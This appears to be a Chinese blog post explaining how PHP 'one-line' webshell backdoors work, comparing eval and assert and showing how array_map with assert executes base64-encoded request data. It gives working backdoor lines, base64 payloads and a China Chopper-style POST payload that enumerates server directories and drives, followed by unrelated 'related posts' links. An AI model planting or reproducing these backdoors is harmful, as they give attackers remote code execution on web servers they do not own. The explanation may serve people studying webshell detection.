eval函数中参数是字符,如:
eval('echo 1;');
assert函数中参数为表达式 (或者为函数),如:
 assert(phpinfo()) 
assert(eval('echo 1;'));
直接传递普通代码是无法执行的,如:assert('echo 1;');
下面这个代码执行不了:
@array_map("eval",array('phpinfo();'));
肯定会错: Warning: array_map() expects parameter 1 to be a valid callback, function 'eval' not found or invalid function name,提示array_map第一个参数需要是回调函数
所以这个后门:
@array_map(assert,(array)base64_decode($_REQUEST['xx']));
array_map第二个参数需要再镶嵌一个assert,
xx=YXNzZXJ0KCRfUkVRVUVTVFsnYWEnXSk=
base64_decode($_REQUEST['xx'])   得到:  assert($_REQUEST['aa'])
其中aa为菜刀中post的数据
 aa=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7ZWNobyAkRC4iXHQiO2lmKHN1YnN0cigkRCwwLDEpIT0iLyIpe2ZvcmVhY2gocmFuZ2UoIkEiLCJaIikgYXMgJEwpaWYoaXNfZGlyKCRMLiI6IikpZWNobygkTC4iOiIpO307ZWNobygifDwtIik7ZGllKCk7 
这样,会构造出:assert(eval('执行代码')),这个为array_map的第二个参数,
最终将数组中第二个参数回调到第一个数组,执行时代码为:assert(assert(eval('执行代码')) )
另一个例子:
$a=(array)base64_decode($_POST['a']);
array_map(assert,$a);
这时候需要构造post参数为:

 a=ZXZhbCgnZWNobyAxOycp 

(eval('echo 1;'))

一句话后门中eval和assert的区别相关推荐

  1. python中str和int区别_python中eval与int的区别浅析

    python中eval和int的区别是什么?下面给大家介绍一下: 1.eval()函数 eval(<字符串>)能够以Python表达式的方式解析并执行字符串,并将返回结果输出.eval() ...

  2. python中int和eval的区别_python中eval与int的区别浅析

    python中eval和int的区别是什么?下面给大家介绍一下: 1.eval()函数 eval()能够以Python表达式的方式解析并执行字符串,并将返回结果输出.eval()函数将去掉字符串的两个 ...

  3. JavaScript中eval()和$.parseJSON()的区别和联系以及JSON.stringify()的区别

    JavaScript中eval()和$.parseJSON()的区别和联系以及JSON.stringify()的区别 一.第一个区别是:安全性 json格式非常受欢迎,而解析json的方式通常用JSO ...

  4. python中eval函数和int函数功能一样_python中eval与int的区别浅析

    python中eval和int的区别是什么?下面给大家介绍一下: 1.eval()函数 eval()能够以Python表达式的方式解析并执行字符串,并将返回结果输出.eval()函数将去掉字符串的两个 ...

  5. python中raise和raise e区别_python raise和assert的区别

    python中raise和assert的区别 一.使用raise抛出异常 python可以自动触发异常,raise(内置函数)的定义为显示的抛出异常,用户可以使用raise进行判断,显式的引发异常,r ...

  6. silic group第五版php木马,php一句话后门特征码与免杀-zz

    作者:YoCo Smart 来自:Silic Group Hacker Army [BlackBap.Org] 首先我们要明白什么是一句话木马. "一句话"是一种特征性很强的脚本后 ...

  7. python raise和except区别_python raise和assert的区别

    python中raise和assert的区别 一.使用raise抛出异常 python可以自动触发异常,raise(内置函数)的定义为显示的抛出异常,用户可以使用raise进行判断,显式的引发异常,r ...

  8. php后门绕过eval关键字,一些变态的PHP一句话后门收集

    这类后门让网站.服务器管理员很是头疼,经常要换着方法进行各种检测,而很多新出现的编写技术,用普通的检测方法是没法发现并处理的.今天我们细数一些有意思的PHP一句话木马. 利用404页面隐藏PHP小马 ...

  9. python eval函数_Python中eval与exec区别 | 萧小寒

    摘要 学过JavaScript的人都知道,在JS中有一个函数叫内置函数叫eval.eval函数可计算某个字符串,并执行其中的的JavaScript代码.正是因为这个特性,所以现在很多教材都不推荐使用这 ...

最新文章

  1. 微软收购 GitHub 两年后,大咖共论开源新生态
  2. SAP常见问题与解决办法
  3. linux内核相关知识
  4. [翻译]Scott Mitchell 的ASP.NET 2.0数据教程之十二:在GridView控件中使用TemplateField
  5. PowerToys 0.19.0 发布,微软开发的免费实用工具集
  6. makefile:5: *** missing separator. Stop.
  7. java soap api操作和发送soap消息
  8. Linux——vi命令详解
  9. GIS数据转换器(栅格)(栅格向矢量网格和栅格向栅格的转换)
  10. Json转XML后将首字母大写(或者其他自己的需求格式)对象中包含list集合以及日期字段的处理(注解形式)
  11. 21个免费设计网站助力第十一届全国大学生广告艺术大赛!
  12. 服务器装win7没有硬盘分区,深度win7安装没有磁盘分区怎么办?
  13. MarkDown编辑器----小书匠
  14. 【问题解决】Selenium——NoSuchWindowException: Browsing context has been discarded
  15. 如何用Python给图片添加文字/图片水印的方法,特别简单好用,filestools和Pil模块
  16. SkeyeVSS智能化旅游景区安防视频监控解决方案
  17. python+opencv+图像特效(图像灰度处理、颜色翻转、图片融合,边缘检测,浮雕效果,颜色映射)
  18. PHP+Apache安装for windows
  19. Ubuntu 安装Yolo-FastestV2 的一般流程(5),部署ncnn工程.
  20. 10.深度学习之经典网络-1

热门文章

  1. 编写测试用例的常用方法
  2. HTTP协议详解 转自小坦克
  3. jQuery:动态改变html表单的目标页(Target)
  4. java 实现HTTP连接(HTTPClient)
  5. XMLHttpRequest Post参数
  6. sql 高级 (五)(create index(创建索引) drop)
  7. control.add()
  8. c#用正则表达式获得指定开始和结束字符串中间的一段文本
  9. Django 2.1.3 中间件使用
  10. 只需三分钟!教会你如何选购及维护UPS蓄电池?